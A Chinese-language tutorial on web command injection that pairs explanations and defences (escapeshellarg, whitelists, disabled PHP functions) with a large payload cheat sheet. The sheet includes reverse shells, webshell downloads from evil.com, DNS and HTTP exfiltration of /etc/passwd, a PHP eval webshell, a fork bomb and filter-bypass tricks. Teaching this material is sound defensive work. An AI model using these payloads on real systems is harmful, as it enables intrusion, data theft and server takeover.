一、漏洞概述

1.1 核心概念

命令注入(Command Injection) 是指Web应用在调用系统命令时,允许用户控制命令参数或命令本身,且未对用户输入进行充分过滤,导致攻击者可以在服务器上执行任意系统命令。

一句话原理:用户输入被拼接到系统命令中,且未经过滤,导致“数据”被当作“命令”执行。

1.2 与代码注入的区别

对比项 命令注入 代码注入
执行环境 操作系统Shell Web脚本语言(PHP、Python等)
典型函数 system()exec()shell_exec() eval()assert()
危害 直接控制服务器 执行任意代码

1.3 危险代码示例

<?php
// 最简危险代码
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>

// 正常请求
http://target.com/ping.php?ip=127.0.0.1

// 恶意请求
http://target.com/ping.php?ip=127.0.0.1; whoami
http://target.com/ping.php?ip=127.0.0.1| id
http://target.com/ping.php?ip=127.0.0.1 && cat /etc/passwd

二、漏洞危害

危害 说明 示例
敏感信息泄露 读取系统文件 cat /etc/passwd
提权 获取更高权限 sudo -l、提权exp
反弹Shell 获取交互式控制 nc -e /bin/sh
写入Webshell 持久化控制 echo '<?php eval...' > shell.php
内网渗透 扫描内网、横向移动 nmapcurl内网
拒绝服务 消耗资源 :(){ :|:& };:(fork炸弹)

三、命令注入分类

3.1 按结果回显分类

类型 特点 利用难度
有回显 命令执行结果直接显示在页面
无回显(盲注) 无输出,需带外或时间延迟
半回显 只返回部分信息(如错误信息)

3.2 按注入点分类

类型 场景 示例
参数注入 GET/POST参数 ?ip=127.0.0.1
Cookie注入 Cookie字段 Cookie: ip=127.0.0.1
HTTP头注入 User-Agent、X-Forwarded-For 日志记录场景
文件上传 文件名注入 上传$(whoami).jpg

四、常用命令连接符

连接符 作用 Payload示例
; 顺序执行 127.0.0.1; whoami
& 后台执行(无条件) 127.0.0.1& whoami
&& 前一个成功才执行 ping 1.1.1.1 && whoami
| 管道,前输出作为后输入 id | base64
|| 前一个失败才执行 ping x.x.x.x || whoami
`cmd` 反引号执行 127.0.0.1 + `whoami`
$(cmd) 命令替换 127.0.0.1$(whoami)
%0a 换行(URL编码) 127.0.0.1%0awhoami

五、常用命令注入Payload

5.1 Linux Payload

# 基础命令
whoami
id
uname -a
cat /etc/passwd
cat /etc/shadow
ls -la /var/www/html

# 反弹Shell(常用)
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
nc -e /bin/sh 攻击者IP 端口
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 下载文件
wget http://攻击者IP/shell.php -O /var/www/html/shell.php
curl http://攻击者IP/shell.php -o shell.php

# 编码绕过
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
$(echo -e "\\x63\\x61\\x74\\x20\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64")

# DNS外带(盲注)
ping -c 1 `whoami`.evil.com
curl http://evil.com/`id|base64`

5.2 Windows Payload

# 基础命令
whoami
ipconfig
systeminfo
type C:\Windows\win.ini
dir C:\Users

# 反弹Shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"

# 下载文件
certutil -urlcache -f http://evil.com/shell.exe shell.exe
powershell Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile shell.exe

# 编码命令(Base64)
powershell -EncodedCommand YwBhAHQAIABjADoAXAB3AGkAbgBkAG8AdwBzAFwAdwBpAG4ALgBpAG4AaQ==

5.3 通用探测Payload

# 简单探测
127.0.0.1; echo test
127.0.0.1| echo test
127.0.0.1 && echo test

# 时间延迟探测
127.0.0.1; sleep 5
127.0.0.1 && ping -c 5 127.0.0.1

# 写入文件探测
127.0.0.1; echo test > /tmp/1.txt
# 然后访问 /tmp/1.txt 看是否存在

# DNS外带探测
127.0.0.1; nslookup `whoami`.evil.com

六、无回显命令注入(盲注)

6.1 时间延迟判断

# Linux
; sleep 5
&& sleep 5
| ping -c 5 127.0.0.1

# Windows
& timeout 5
| ping -n 5 127.0.0.1

6.2 写入Web目录

# 写入测试文件
; echo "test" > /var/www/html/test.txt
&& echo "<?php echo 'test'; ?>" > /var/www/html/shell.php

# 然后访问 test.txt 或 shell.php 验证

6.3 DNS外带数据(Linux)

# 使用dnslog平台
; nslookup `whoami`.xxxx.dnslog.cn
; curl http://xxxx.dnslog.cn/`whoami|base64`

# 示例
; `id`; curl http://evil.com/result.txt?data=`whoami|base64`

6.4 HTTP外带

; curl http://evil.com?data=`whoami`
; wget --post-data="data=`cat /etc/passwd|base64`" http://evil.com

6.5 利用错误信息

# 触发错误输出(某些场景下错误信息会回显)
; ls /nonexist
; cat /etc/shadow 2>&1

七、绕过技巧

7.1 空格绕过

绕过方式 示例
$IFS cat$IFS/etc/passwd
{cmd,arg} {cat,/etc/passwd}
%09(TAB) cat%09/etc/passwd
%20 cat%20/etc/passwd
< cat</etc/passwd
> cat>/dev/null

7.2 关键字过滤绕过

# 1. 引号绕过
w'h'o'am'i
w"h"o"am"i
whoam``i

# 2. 反斜杠绕过
w\ho\am\i

# 3. 通配符
/???/??t /???/??ss???   # /bin/cat /etc/passwd
/usr/bin/?????          # /usr/bin/whoami

# 4. 变量拼接
a=wh;b=oami;$a$b

# 5. 编码执行
echo "d2hvYW1p" | base64 -d | bash
$(echo "d2hvYW1p" | base64 -d)

# 6. 命令替换
`echo whoami`
$(echo whoami)

# 7. 环境变量
$PATH | cut -c 1   # 取PATH第一个字符
${PATH:0:1}        # 截取第一个字符,可用于构造斜杠

7.3 特殊字符绕过

过滤字符 绕过方式
; 使用&|&&||%0a
| 使用;&&&
& 使用;|
` | 使用$() |
$ 使用` |

7.4 长度限制绕过

# 使用wget分块下载
wget http://evil.com/1 -O /tmp/1
wget http://evil.com/2 -O /tmp/2
cat /tmp/1 /tmp/2 > /tmp/shell.sh
bash /tmp/shell.sh

# 使用DNS外带(短payload)
ping -c 1 `cat /etc/passwd|head -1|base64`.evil.com

7.5 使用IFS绕过空格

# IFS(Internal Field Separator)默认包含空格、制表符、换行
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd   # $9为空,只起到分隔作用

八、命令注入防御

8.1 最安全:避免调用系统命令

// 危险:使用system
system("ping " . $ip);

// 安全:使用内置函数(如PHP的filter_var验证IP)
if(filter_var($ip, FILTER_VALIDATE_IP)){
    // 执行ping但使用escapeshellarg
}

8.2 使用转义函数

<?php
// escapeshellarg:转义参数,包裹在单引号中
$safe = escapeshellarg($user_input);
system("ping -c 4 " . $safe);

// escapeshellcmd:转义特殊字符
$safe = escapeshellcmd($user_input);
system($safe);
?>

区别

  • escapeshellarg:用于转义参数值(推荐)

  • escapeshellcmd:用于转义命令本身

8.3 白名单限制

<?php
$allowed_ips = ['127.0.0.1', '192.168.1.1'];
$ip = $_GET['ip'];

if (!in_array($ip, $allowed_ips)) {
    die('非法IP');
}
system("ping -c 4 " . $ip);
?>

8.4 输入验证

<?php
// 验证IP格式
if (!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $ip)) {
    die('无效IP');
}
system("ping -c 4 " . $ip);
?>

8.5 最小权限原则

# Web服务以低权限用户运行(www-data,不是root)
# 禁用危险函数(php.ini)
disable_functions = system, exec, shell_exec, passthru, popen, proc_open

8.6 使用语言内置库替代系统命令

需求 系统命令 替代方案
Ping IP ping PHP: fsockopen、Python: icmplib
发送邮件 mail 使用SMTP库
压缩文件 tarzip 使用ZipArchive等库
DNS查询 nslookup dns_resolve()gethostbyname()

九、检测方法

9.1 手工检测

# 1. 简单注入测试
参数值后加 ;echo test
观察响应中是否出现 "test"

# 2. 时间延迟测试
;sleep 5
观察响应时间是否超过5秒

# 3. 写入文件测试
;echo test > /tmp/test.txt
然后尝试访问 /tmp/test.txt

# 4. DNS外带测试
;nslookup `whoami`.your.dnslog.cn
查看DNS日志

9.2 自动化工具

# Commix(专门命令注入工具)
commix --url "http://target.com/ping.php?ip=127.0.0.1"
commix --url "http://target.com/ping.php?ip=127.0.0.1" --os-cmd="whoami"

# Burp Suite
- Intruder爆破命令连接符
- Scanner扫描命令注入

# SQLMap(也可能检测命令注入)
sqlmap -u "http://target.com/ping.php?ip=127.0.0.1" --os-shell

十、实战案例

案例1:Ping功能命令注入

// 漏洞代码
<?php
$ip = $_POST['ip'];
system("ping -c 4 " . $ip);
?>

利用

POST /ping.php
ip=127.0.0.1; wget http://evil.com/shell.php -O /var/www/html/shell.php

案例2:Traceroute功能

<?php
$host = $_GET['host'];
system("/usr/bin/traceroute " . $host);
?>

利用

http://target.com/tracer.php?host=google.com; whoami

案例3:日志记录功能(HTTP头注入)

<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
system("echo '$ua' >> /var/log/access.log");
?>

利用

# User-Agent设置
User-Agent: '; wget http://evil.com/shell.php -O /var/www/html/shell.php; '

案例4:无回显利用(反弹Shell)

# 攻击者监听
nc -lvnp 4444

# 注入payload
127.0.0.1; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# URL编码后
127.0.0.1%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261

十一、常见环境差异

Linux vs Windows

对比项 Linux Windows
命令分隔符 ;&&&||| &&&|||
环境变量 $PATH %PATH%
取变量值 $var %var%
字符串引号 单/双引号 双引号
路径分隔 / \/
重定向 >>> >>>
管道 | |
注释 # :: 或 rem

十二、速查表

常用Payload速查

# 基础命令执行
; whoami
| id
&& uname -a

# 文件读取
; cat /etc/passwd
| type C:\Windows\win.ini

# 反弹Shell
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
nc -e /bin/sh 192.168.1.10 4444

# 写入Webshell
; echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php

# DNS外带
; nslookup `whoami`.xxx.dnslog.cn

# 空格绕过
{cat,/etc/passwd}
cat${IFS}/etc/passwd

防御速查

// 1. 转义参数
$safe = escapeshellarg($input);
system("ping -c 4 " . $safe);

// 2. 白名单
if(in_array($input, $whitelist)) { ... }

// 3. 验证格式
if(preg_match('/^[\d\.]+$/', $input)) { ... }

// 4. 禁用危险函数
disable_functions = system,exec,shell_exec,passthru

十三、一句话总结

命令注入 = 用户输入拼接到系统命令 + 未过滤

  • 核心危害:执行任意系统命令,可反弹Shell、提权、写马

  • 主要绕过:连接符 ;&|$()、反引号;空格绕过 $IFS{cat,file};关键字引号/反斜杠/变量拼接

  • 防御核心:避免调用系统命令 > 使用转义函数(escapeshellarg) > 输入验证/白名单

记住:永远不要相信用户输入,能用原生API就不要调用系统命令。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐